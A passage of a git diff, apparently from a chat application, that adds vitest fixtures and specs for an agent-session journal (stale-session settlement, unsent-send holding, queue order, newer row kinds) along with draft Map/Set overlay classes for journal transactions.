fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + revision, + body: { kind: 'turn', turnId: 'old', state: 'running' } + } + ]) + await fixture.settle() + expect(fixture.journal.snapshot().items[0]).toMatchObject({ + revision: Math.max(revision, 0) + 1, + body: { state: 'interrupted' } + }) + await fixture.expectSendStillWritable() + } + ) +} diff --git a/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts new file mode 100644 index 00000000000..6ce38691e5f --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-terminal-validation-test-fixture.ts @@ -0,0 +1,177 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { settleStaleStructuredAgentSessionState } from '../agent-session-wire/structured-agent-session-dead-generation-settlement' +import { + createTrackedJournalOpener, + insertTestJournalRowJson, + liveTestJournalRows, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function createFixture() { + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + let root: string + + let journal: AgentSessionJournal + + const identity = { provider: 'orca' as const, clientMessageId: 'old-turn' } + + async function open() { + return journals.open({ + identity: { + sessionId: 'validation', + workspaceId: 'folder', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread') + }, + stateDirectory: root, + now: () => 1_000 + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-settlement-validation-')) + journal = await open() + }) + + afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + function settle(observedAt = 1_000, lastProvenAliveAt?: number) { + return settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'validation', + fence: 8, + acquisitionGeneration: 'replacement', + deathEvidence: { + kind: lastProvenAliveAt === undefined ? 'exit-observed' : 'pid-absent', + detail: '', + ownerFence: 7, + observedAt, + ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) + } + }) + } + + async function expectSendStillWritable() { + const sequence = journal.cursor().sequence + 1 + await expect( + journal.appendSubmission({ + clientMessageId: 'new-send', + payloadFingerprint: 'new', + fence: 8, + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'hello' }] } + }) + ).resolves.toMatchObject({ sequence }) + } + + async function saveOldItems(inputs: { itemId: string; revision?: number; body: unknown }[]) { + const { db } = openTestJournalHostDatabase(root) + for (const [index, input] of inputs.entries()) { + const json = JSON.stringify({ + v: 3, + kind: 'item', + epoch: journal.epoch, + seq: index + 2, + ts: 900, + fence: 7, + revision: 1, + ...input, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) + expect(parseJournalRow(json).ok).toBe(true) + insertTestJournalRowJson(db, 'validation', index + 2, json, 900) + } + await journal.close() + journal = await open() + } + + async function expectUnadvanceableItemUntouched(saved: { + itemId: string + revision: number + body: unknown + }) { + await saveOldItems([ + saved, + { itemId: 'orca:advanceable', body: { kind: 'turn', turnId: 'other', state: 'running' } }, + { itemId: 'orca:approval', body: pendingApproval() } + ]) + const before = journal.snapshot().items.find((item) => item.itemId === saved.itemId) + const { db } = openTestJournalHostDatabase(root) + const history = liveTestJournalRows(db, 'validation') + const commits = vi.fn() + journal.observeCommits(commits) + await expect(settle()).resolves.toBeGreaterThan(0) + expect(commits).toHaveBeenCalledTimes(1) + expect(journal.snapshot().items.find((item) => item.itemId === saved.itemId)).toEqual(before) + expect(journal.itemBody('orca:advanceable')).toMatchObject({ state: 'interrupted' }) + expect(journal.itemBody('orca:approval')).toMatchObject({ resolution: { state: 'cancelled' } }) + expect(liveTestJournalRows(db, 'validation').slice(0, history.length)).toEqual(history) + const settled = journal.snapshot() + await settle() + expect(journal.snapshot()).toEqual(settled) + expect(commits).toHaveBeenCalledTimes(1) + await journal.close() + journal = await open() + expect(journal.snapshot()).toEqual(settled) + } + + function pendingApproval() { + return { + kind: 'approval', + title: 'Allow?', + detail: null, + options: [], + resolution: { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } + } + } + + function expectRewriteTimes(value: unknown) { + if (typeof value !== 'object' || value === null) { + return + } + for (const [key, field] of Object.entries(value)) { + if (key.endsWith('At') && field !== null && field !== undefined) { + expect(typeof field).toBe('number') + expect(Number.isFinite(field)).toBe(true) + expect(field).toBeGreaterThan(0) + } + expectRewriteTimes(field) + } + } + + return { + expectRewriteTimes, + expectSendStillWritable, + expectUnadvanceableItemUntouched, + identity, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + journals, + open, + pendingApproval, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + saveOldItems, + settle + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-transition-collections.ts b/src/main/native-chat/agent-session-journal/journal-transition-collections.ts new file mode 100644 index 00000000000..1fcdfd69c55 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-transition-collections.ts @@ -0,0 +1,269 @@ +// Overlay collections leave the live containers untouched until their transaction commits. + +export type JournalEntryChange = { + path: string + key: unknown + deleted: boolean + reinsert: boolean + value: unknown +} + +export type JournalDraftAccess = { + wrap: (value: T, changed: () => void, path: string) => T + assign: (value: unknown) => void + finish: (value: T) => T + defer: (apply: () => void) => void +} + +export class JournalDraftMap extends Map { + private readonly writes = new Map() + private readonly removed = new Set() + private readonly inserted = new Set() + private readonly touched = new Set() + private readonly pending = new Set() + private readonly recreated = new Set() + + constructor( + private readonly source: Map, + private readonly access: JournalDraftAccess, + private readonly changed: () => void, + readonly path: string + ) { + super() + } + + override get size(): number { + return this.source.size - this.removed.size + this.inserted.size + } + + override has(key: K): boolean { + return this.inserted.has(key) || (!this.removed.has(key) && this.source.has(key)) + } + + override get(key: K): V | undefined { + return this.has(key) ? this.draft(key) : undefined + } + + override set(key: K, value: V): this { + if (!this.has(key)) { + this.inserted.add(key) + this.recreated.add(key) + // A (re)created key moves to the end of both orders, as the live map's re-insert does. + this.touched.delete(key) + this.pending.delete(key) + } + this.access.assign(value) + this.writes.set(key, value) + this.touch(key) + return this + } + + override delete(key: K): boolean { + if (!this.has(key)) { + return false + } + if (this.source.has(key)) { + this.removed.add(key) + } + this.inserted.delete(key) + this.recreated.delete(key) + this.writes.delete(key) + this.touch(key) + return true + } + + override clear(): void { + for (const key of this.keys()) { + this.delete(key) + } + } + + override *keys(): MapIterator { + for (const key of this.source.keys()) { + if (!this.removed.has(key)) { + yield key + } + } + yield* this.inserted + } + + override *values(): MapIterator { + for (const key of this.keys()) { + yield this.draft(key) + } + } + + override *entries(): MapIterator<[K, V]> { + for (const key of this.keys()) { + yield [key, this.draft(key)] + } + } + + override [Symbol.iterator](): MapIterator<[K, V]> { + return this.entries() + } + + override forEach(callback: (value: V, key: K, map: Map) => void, thisArg?: unknown): void { + for (const [key, value] of this) { + callback.call(thisArg, value, key, this) + } + } + + changes(reset = false): JournalEntryChange[] { + const changes = [...this.pending].map((key) => ({ + path: this.path, + key, + deleted: !this.has(key), + reinsert: this.recreated.has(key), + value: this.get(key) + })) + if (reset) { + this.pending.clear() + this.recreated.clear() + } + return changes + } + + finish(): Map { + const changes = [...this.touched].map((key) => ({ + key, + reinsert: this.inserted.has(key), + kept: this.has(key) ? { value: this.access.finish(this.draft(key)) } : null + })) + this.access.defer(() => { + for (const { key, reinsert, kept } of changes) { + if (!kept || reinsert) { + this.source.delete(key) + } + if (kept) { + this.source.set(key, kept.value) + } + } + }) + return this.source + } + + /** Only for present keys; a present entry may hold undefined. */ + private draft(key: K): V { + const stored = this.writes.has(key) ? this.writes.get(key) : this.source.get(key) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: callers pass only keys has() reports present, so the stored value is a V even when V includes undefined. + return this.access.wrap(stored as V, () => this.touch(key), `${this.path}.*`) + } + + private touch(key: K): void { + this.touched.add(key) + this.pending.add(key) + this.changed() + } +} + +export class JournalDraftSet extends Set { + private readonly removed = new Set() + private readonly inserted = new Set() + private readonly touched = new Set() + private readonly pending = new Set() + private readonly recreated = new Set() + + constructor( + private readonly source: Set, + private readonly access: JournalDraftAccess, + private readonly changed: () => void, + readonly path: string + ) { + super() + } + + override get size(): number { + return this.source.size - this.removed.size + this.inserted.size + } + override has(value: T): boolean { + return this.inserted.has(value) || (!this.removed.has(value) && this.source.has(value)) + } + override add(value: T): this { + if (!this.has(value)) { + this.inserted.add(value) + this.recreated.add(value) + this.pending.delete(value) + this.pending.add(value) + this.touched.delete(value) + this.touched.add(value) + this.changed() + } + return this + } + override delete(value: T): boolean { + if (!this.has(value)) { + return false + } + if (this.source.has(value)) { + this.removed.add(value) + } + this.inserted.delete(value) + this.recreated.delete(value) + this.pending.add(value) + this.touched.add(value) + this.changed() + return true + } + override clear(): void { + for (const value of this) { + this.delete(value) + } + } + override *values(): SetIterator { + for (const value of this.source) { + if (!this.removed.has(value)) { + yield value + } + } + yield* this.inserted + } + override keys(): SetIterator { + return this.values() + } + override *entries(): SetIterator<[T, T]> { + for (const value of this.values()) { + yield [value, value] + } + } + override [Symbol.iterator](): SetIterator { + return this.values() + } + override forEach(callback: (value: T, key: T, set: Set) => void, thisArg?: unknown): void { + for (const value of this) { + callback.call(thisArg, value, value, this) + } + } + changes(reset = false): JournalEntryChange[] { + const changes = [...this.pending].map((key) => ({ + path: this.path, + key, + deleted: !this.has(key), + reinsert: this.recreated.has(key), + value: key + })) + if (reset) { + this.pending.clear() + this.recreated.clear() + } + return changes + } + finish(): Set { + const changes = [...this.touched].map((value) => ({ + value, + deleted: !this.has(value), + reinsert: this.inserted.has(value) + })) + this.access.defer(() => { + for (const { value, deleted, reinsert } of changes) { + if (deleted || reinsert) { + this.source.delete(value) + } + if (!deleted) { + this.source.add(value) + } + } + }) + return this.source + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts b/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts index a4e0a9dc771..c9c2119b230 100644 --- a/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unknown-content.spec.ts @@ -32,7 +32,7 @@ export function registerJournalUnknownContentTests(): void { const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-newer-content-')) @@ -116,36 +116,26 @@ export function registerJournalUnknownContentTests(): void { expect(stored()).toEqual(written) } - /** Verify writable downgrade compatibility without rewriting stored rows. */ - async function expectWritableAndKept( - written: { seq: number; rowJson: string }[], - itemId: string - ) { - const journal = await open() - expect(journal.snapshot().items.some((entry) => entry.itemId === itemId)).toBe(true) - await journal.appendItem(item(5), { kind: 'status', text: 'taken' }, SCOPE) - await journals.closeAll() - expect(stored().slice(0, written.length)).toEqual(written) - } - - describe("a newer build's body kind, kept and writable", () => { + // An input row's union tags are closed like its keys: a newer kind refuses the chat before main's + // reader could keep it undrawn and this build restate the chat without it. + describe("a newer build's body kind", () => { it.each([ ['an item body of a newer kind', NEWER_BODY], ['a plan subject of a newer kind', { ...PLAN_APPROVAL, subject: { kind: 'diff' } }] - ])('keeps %s and stays writable', async (_name, body) => { + ])('fails the load on %s and keeps the row', async (_name, body) => { const { written } = await journalWith((epoch) => [ itemRow(epoch, 'codex:thread-1:turn-1:2', body) ]) - await expectWritableAndKept(written, 'codex:thread-1:turn-1:2') + await expectNewerAndKept(written) }) - it('keeps a lifecycle mutation whose body is a newer kind, and stays writable', async () => { + it('fails the load on a lifecycle mutation whose body is a newer kind', async () => { const { written } = await journalWith((epoch) => [ batchRow(epoch, [ { kind: 'item', itemId: 'codex:thread-1:turn-1:4', revision: 1, body: NEWER_BODY } ]) ]) - await expectWritableAndKept(written, 'codex:thread-1:turn-1:4') + await expectNewerAndKept(written) }) }) @@ -230,7 +220,7 @@ export function registerJournalUnknownContentTests(): void { }) describe("a turn's context usage of a newer shape", () => { - it('is dropped like an unusable annotation: the chat stays writable and keeps the row', async () => { + it('fails the load and keeps the row', async () => { const { written } = await journalWith((epoch) => [ itemRow(epoch, 'codex:thread-1:turn-1:2', { kind: 'turn', @@ -239,14 +229,7 @@ export function registerJournalUnknownContentTests(): void { contextUsage: { used: { kind: 'measured', capturedAt: 1 } } }) ]) - const journal = await open() - expect(journal.snapshot().items[2]?.body).toEqual({ - kind: 'turn', - turnId: 'turn-1', - state: 'completed' - }) - await journals.closeAll() - expect(stored()).toEqual(written) + await expectNewerAndKept(written) }) }) diff --git a/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts b/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts index d55230b105f..fee7bcd7a47 100644 --- a/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts +++ b/src/main/native-chat/agent-session-journal/journal-unknown-row-kind.spec.ts @@ -13,6 +13,7 @@ import { import { closeTestJournalHostDatabase, createTrackedJournalOpener, + deleteTestJournalRow, insertTestJournalRowJson, liveTestJournalRows, openTestJournalHostDatabase, @@ -39,7 +40,7 @@ export function registerJournalUnknownRowKindTests(): void { const SCOPE = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } let root: string - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeEach(async () => { root = await mkdtemp(join(tmpdir(), 'orca-journal-newer-kind-')) @@ -58,14 +59,14 @@ export function registerJournalUnknownRowKindTests(): void { return journal.snapshot().items.map((entry) => entry.itemId) } + function rowEnvelope(epoch: string, seq: number) { + return { v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, epoch, seq, fence: 1, ts: 5_000 + seq } + } + function newerRow(epoch: string, seq: number, extra: Record = {}) { return { - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, + ...rowEnvelope(epoch, seq), kind: 'future-mark', - epoch, - seq, - fence: 1, - ts: 5_000 + seq, payload: { said: 'by a newer build', seq }, ...extra } @@ -82,10 +83,7 @@ export function registerJournalUnknownRowKindTests(): void { await journals.closeAll() const { db } = openTestJournalHostDatabase(root) edit((seq, json) => { - db.prepare('DELETE FROM journal_rows WHERE session_id = ? AND seq = ?').run( - IDENTITY.sessionId, - seq - ) + deleteTestJournalRow(db, IDENTITY.sessionId, seq) insertTestJournalRowJson(db, IDENTITY.sessionId, seq, json, 5_000 + seq) }) await closeTestJournalHostDatabase(root) @@ -198,7 +196,7 @@ export function registerJournalUnknownRowKindTests(): void { it('reads a known kind that fails its own checks as malformed', () => { const parsed = parseJournalRow( - JSON.stringify({ ...newerRow('epoch-1', 7), kind: 'item', itemId: 'x', revision: 1 }) + JSON.stringify({ ...rowEnvelope('epoch-1', 7), kind: 'item', itemId: 'x', revision: 1 }) ) expect(parsed).toEqual({ ok: false, unreadable: false }) }) @@ -265,7 +263,12 @@ export function registerJournalUnknownRowKindTests(): void { ['a later', 9] ])('fails the load and is kept when it names %s one', async (_name, seq) => { const epoch = await journalWithOneItem() - const tombstone = { ...newerRow(epoch, seq), kind: 'tombstone', itemId: 'gone', revision: 1 } + const tombstone = { + ...rowEnvelope(epoch, seq), + kind: 'tombstone', + itemId: 'gone', + revision: 1 + } await expect(restartAfter((put) => put(3, JSON.stringify(tombstone)))).rejects.toMatchObject( UNLOADABLE ) diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts new file mode 100644 index 00000000000..8d1155259b2 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-contract-test-fixture.ts @@ -0,0 +1,195 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach } from 'vitest' +import type { + AgentJournalMessageItem, + AgentSessionJournalIdentity +} from '../../../shared/agent-session-journal-types' +import type { + AgentMessageSource, + AgentSessionMessageSource +} from '../../../shared/agent-session/agent-session-message-source' +import { agentSessionFailureFact } from '../../../shared/agent-session-failure' +import { agentSessionFailureWords } from '../../../shared/agent-session-failure-words' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { structuredAgentSessionPayloadFingerprint } from '../../../shared/structured-agent-session-mutation' +import { holdUnsentSends, type UnsentSendHold } from './journal-unsent-send-hold' +import type { AgentSessionJournal } from './journal-store' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + updateTestJournalRowJson +} from './journal-host-database-test-support' + +export function createFixture() { + const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-held', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('native-1', null) + } + + const HOST_RESTARTED = agentSessionFailureWords(agentSessionFailureFact('hostRestarted'), { + surface: 'rejection' + }) + + const CHAT_CLOSED = agentSessionFailureWords(agentSessionFailureFact('chatClosed'), { + surface: 'rejection' + }) + + let root: string + + let clock = 1_000 + + let epochs = 0 + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + function message(text: string): AgentJournalMessageItem { + return { kind: 'message', role: 'user', blocks: [{ type: 'text', text }] } + } + + function fingerprint(body: AgentJournalMessageItem): string { + return structuredAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: IDENTITY.sessionId, + fields: { body } + }) + } + + async function open(): Promise { + return journals.open({ + identity: IDENTITY, + stateDirectory: root, + now: () => (clock += 1), + mintEpoch: () => `epoch-${(epochs += 1)}` + }) + } + + function hold(journal: AgentSessionJournal, settle: UnsentSendHold = { cause: 'hostRestarted' }) { + return holdUnsentSends(journal, { fence: 0, hold: settle }) + } + + const MAIL_SOURCE: AgentMessageSource = { + kind: 'agent', + senders: [ + { + party: { address: 'agent:coordinator', terminalHandle: null, orcaSessionId: null }, + name: null + } + ], + orchestration: { + message: 'mail-notice', + mailbox: 'agent:worker', + dispatchId: null, + messages: [] + } + } + + async function accept( + journal: AgentSessionJournal, + id: string, + fields: { + body?: AgentJournalMessageItem + origin?: 'client' | 'host' + source?: AgentSessionMessageSource + } = {} + ): Promise { + const body = fields.body ?? message(`text of ${id}`) + await journal.appendSubmission({ + clientMessageId: id, + payloadFingerprint: fingerprint(body), + body, + fence: 0, + handoverRecorded: true, + ...(fields.origin ? { origin: fields.origin } : {}), + ...(fields.source ? { source: fields.source } : {}) + }) + } + + async function afterRestart( + write: (journal: AgentSessionJournal) => Promise + ): Promise { + const earlier = await open() + await write(earlier) + await earlier.close() + return open() + } + + async function storeSubmissionSourceAs( + journal: AgentSessionJournal, + id: string, + source: unknown + ): Promise { + await journal.close() + const seq = journal.submission(id)?.submittedSequence + const { db } = openTestJournalHostDatabase(root) + const stored = liveTestJournalRows(db, IDENTITY.sessionId).find((row) => row.seq === seq) + if (!stored) { + throw new Error(`no stored row for ${id}`) + } + const row: unknown = JSON.parse(stored.rowJson) + updateTestJournalRowJson( + db, + IDENTITY.sessionId, + stored.seq, + JSON.stringify({ ...(typeof row === 'object' ? row : {}), source }) + ) + } + + function cardOrder(journal: AgentSessionJournal): string[] { + return journal.queuedMessages + .list() + .filter((card) => card.state === 'waiting') + .map((card) => card.messageId) + } + + beforeEach(async () => { + epochs = 0 + root = await mkdtemp(join(tmpdir(), 'orca-unsent-hold-')) + }) + + afterEach(async () => { + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) + }) + + return { + CHAT_CLOSED, + HOST_RESTARTED, + IDENTITY, + MAIL_SOURCE, + accept, + afterRestart, + cardOrder, + get clock() { + return clock + }, + set clock(value: typeof clock) { + clock = value + }, + get epochs() { + return epochs + }, + set epochs(value: typeof epochs) { + epochs = value + }, + fingerprint, + hold, + journals, + message, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + storeSubmissionSourceAs + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts new file mode 100644 index 00000000000..27ca1cdc49b --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-queue.spec.ts @@ -0,0 +1,160 @@ +import type { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import type { AgentJournalSubmission } from '../../../shared/agent-session-journal-types' +import { USER_MESSAGE_SOURCE } from '../../../shared/agent-session/agent-session-message-source' + +export function registerJournalUnsentSendHoldQueueTests( + fixture: ReturnType +): void { + describe('where kept sends go in the queue', () => { + it.each([ + { by: 'Send now', origin: 'client' as const, order: ['A', 'H', 'B', 'C'] }, + { by: 'the queue', origin: 'host' as const, order: ['A', 'B', 'H', 'C'] } + ])( + 'in acceptance order, ahead of the cards already waiting, a hand-off by $by among them', + async ({ origin, order }) => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'H', + body: fixture.message('H') + }) + await earlier.queuedMessages.insert({ + messageId: 'C', + body: fixture.message('C') + }) + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await earlier.appendSubmission( + { + clientMessageId: 'H-handoff', + payloadFingerprint: fixture.fingerprint(fixture.message('H')), + body: fixture.message('H'), + fence: 0, + handoverRecorded: true, + origin + }, + { messageId: 'H', expect: 'waiting' } + ) + await fixture.accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(order) + } + ) + + it('a run a crash cut short is placed again with the rest, in acceptance order', async () => { + const interrupted = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'C', + body: fixture.message('C') + }) + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + // Simulate a crash after keeping A at a stale position but before settling B. + await interrupted.resolveDispatch( + { + clientMessageId: 'A', + state: 'rejected', + ...fixture.HOST_RESTARTED, + fence: 0, + recovered: true, + keptAsQueuedMessageId: 'A' + }, + () => + interrupted.queuedMessages.plan([ + { + messageId: 'A', + change: { + op: 'queued', + body: fixture.message('text of A'), + queuedAt: { + epoch: 'epoch-1', + sequence: interrupted.submission('A')!.acceptedSequence! + }, + position: 5 + } + } + ]) + ) + await interrupted.close() + const journal = await fixture.open() + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(['A', 'B', 'C']) + }) + }) + + describe('a close of the chat', () => { + it('keeps a person’s unsent send in place, rejected as closed, by the same rule as a restart', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await fixture.hold(journal, { cause: 'chatClosed' }) + + expect(fixture.cardOrder(journal)).toEqual(['person']) + expect(journal.queuedMessages.get('person')).toMatchObject({ holdReason: null }) + for (const id of ['person', 'mail']) { + expect(journal.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.CHAT_CLOSED + }) + } + }) + + it('settles only what `which` names, leaving a later send queued', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'before', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'after', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.hold(journal, { + cause: 'chatClosed', + which: (submission) => submission.clientMessageId === 'before' + }) + + expect(fixture.cardOrder(journal)).toEqual(['before']) + expect(journal.submission('after')?.dispatchState).toBe('pending') + }) + }) + + describe('the order kept cards stand in', () => { + it('a card kept before the epoch rolled stays ahead of one kept after it', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + for (const id of ['m1', 'm2', 'm3']) { + await fixture.accept(earlier, id, { origin: 'host', source: fixture.MAIL_SOURCE }) + } + await fixture.accept(earlier, 'A', { origin: 'client', source: USER_MESSAGE_SOURCE }) + }) + await fixture.hold(journal) + await journal.rollEpoch('handle_forked', 0) + await fixture.accept(journal, 'B', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await journal.close() + const reopened = await fixture.open() + await fixture.hold(reopened) + + expect(reopened.queuedMessages.get('A')?.queuedAt?.epoch).not.toBe( + reopened.queuedMessages.get('B')?.queuedAt?.epoch + ) + expect(fixture.cardOrder(reopened)).toEqual(['A', 'B']) + }) + }) + + describe('the source a send records', () => { + it('is folded from the row; a row without one folds without it', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'with-source', { origin: 'host', source: USER_MESSAGE_SOURCE }) + await fixture.accept(journal, 'without', { origin: 'client' }) + const folded: AgentJournalSubmission | undefined = journal.submission('with-source') + expect(folded?.source).toEqual({ kind: 'user' }) + expect(journal.submission('without')).not.toHaveProperty('source') + }) + + it('keeps only the kind of an agent’s source, never its senders', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await journal.close() + const reopened = await fixture.open() + expect(reopened.submission('mail')?.source).toEqual({ kind: 'agent' }) + expect(JSON.stringify(reopened.submission('mail'))).not.toContain('agent:coordinator') + }) + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts new file mode 100644 index 00000000000..7b219bb78fc --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-unsent-send-hold-recovery.spec.ts @@ -0,0 +1,176 @@ +import type { createFixture } from './journal-unsent-send-hold-contract-test-fixture' +import { describe, expect, it } from 'vitest' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { USER_MESSAGE_SOURCE } from '../../../shared/agent-session/agent-session-message-source' +import { structuredAgentSessionCompactBody } from '../agent-session-wire/structured-agent-session-command-turn' +import { unsentSendKeptAsCard } from './journal-unsent-send-hold' + +export function registerJournalUnsentSendHoldRecoveryTests( + fixture: ReturnType +): void { + describe('which sends an earlier host process left unsent are kept', () => { + it('keeps a person’s and a launch’s text, and an older build’s client send', async () => { + const journal = await fixture.afterRestart(async (earlier) => { + await fixture.accept(earlier, 'person', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'launch', { origin: 'host', source: USER_MESSAGE_SOURCE }) + await fixture.accept(earlier, 'legacy-client', { origin: 'client' }) + }) + await fixture.hold(journal) + + expect(fixture.cardOrder(journal)).toEqual(['person', 'launch', 'legacy-client']) + await journal.close() + const reopened = await fixture.open() + for (const id of ['person', 'launch', 'legacy-client']) { + expect(reopened.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.HOST_RESTARTED, + keptAsQueuedMessageId: id + }) + expect(reopened.queuedMessages.get(id)).toMatchObject({ + state: 'waiting', + holdReason: null, + body: fixture.message(`text of ${id}`), + fingerprint: fixture.fingerprint(fixture.message(`text of ${id}`)), + queuedAt: { epoch: 'epoch-1', sequence: reopened.submission(id)?.acceptedSequence } + }) + } + }) + + it('rejects mail, a dispatch preamble, a continuation, /compact, an image, and a send no one can attribute', async () => { + const image: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [ + { type: 'text', text: 'look' }, + { type: 'image-ref', path: '/tmp/attachment.png' } + ] + } + const journal = await fixture.afterRestart(async (earlier) => { + await fixture.accept(earlier, 'mail', { origin: 'host', source: fixture.MAIL_SOURCE }) + await fixture.accept(earlier, 'dispatch', { origin: 'host' }) + await fixture.accept(earlier, 'continuation', { origin: 'host' }) + await fixture.accept(earlier, 'compact', { + origin: 'client', + source: USER_MESSAGE_SOURCE, + body: structuredAgentSessionCompactBody() + }) + await fixture.accept(earlier, 'image', { + origin: 'client', + source: USER_MESSAGE_SOURCE, + body: image + }) + await fixture.accept(earlier, 'legacy-host', { origin: 'host' }) + await fixture.accept(earlier, 'no-origin') + }) + await fixture.hold(journal) + + expect(journal.queuedMessages.list()).toEqual([]) + for (const id of [ + 'mail', + 'dispatch', + 'continuation', + 'compact', + 'image', + 'legacy-host', + 'no-origin' + ]) { + expect(journal.submission(id)).toMatchObject({ + dispatchState: 'rejected', + ...fixture.HOST_RESTARTED + }) + expect(journal.submission(id)).not.toHaveProperty('keptAsQueuedMessageId') + } + }) + + it.each([ + { by: 'Send now', origin: 'client' as const }, + { by: 'the queue', origin: 'host' as const } + ])( + 'a card’s own hand-off by $by returns its card, and makes no second one', + async ({ origin }) => { + const journal = await fixture.afterRestart(async (earlier) => { + await earlier.queuedMessages.insert({ + messageId: 'card', + body: fixture.message('card text') + }) + await earlier.appendSubmission( + { + clientMessageId: 'handoff', + payloadFingerprint: fixture.fingerprint(fixture.message('card text')), + body: fixture.message('card text'), + fence: 0, + handoverRecorded: true, + origin + }, + { messageId: 'card', expect: 'waiting' } + ) + }) + await fixture.hold(journal) + + expect(journal.queuedMessages.list()).toHaveLength(1) + expect(journal.queuedMessages.get('card')).toMatchObject({ + state: 'waiting', + consumedAs: null, + holdReason: null + }) + expect(journal.queuedMessages.get('handoff')).toBeNull() + } + ) + + it('leaves alone what this process accepted', async () => { + const journal = await fixture.open() + await fixture.accept(journal, 'mine', { origin: 'client', source: USER_MESSAGE_SOURCE }) + await fixture.hold(journal) + expect(journal.submission('mine')?.dispatchState).toBe('pending') + expect(journal.queuedMessages.list()).toEqual([]) + }) + + it('never keeps a queue hand-off, a card’s link, or 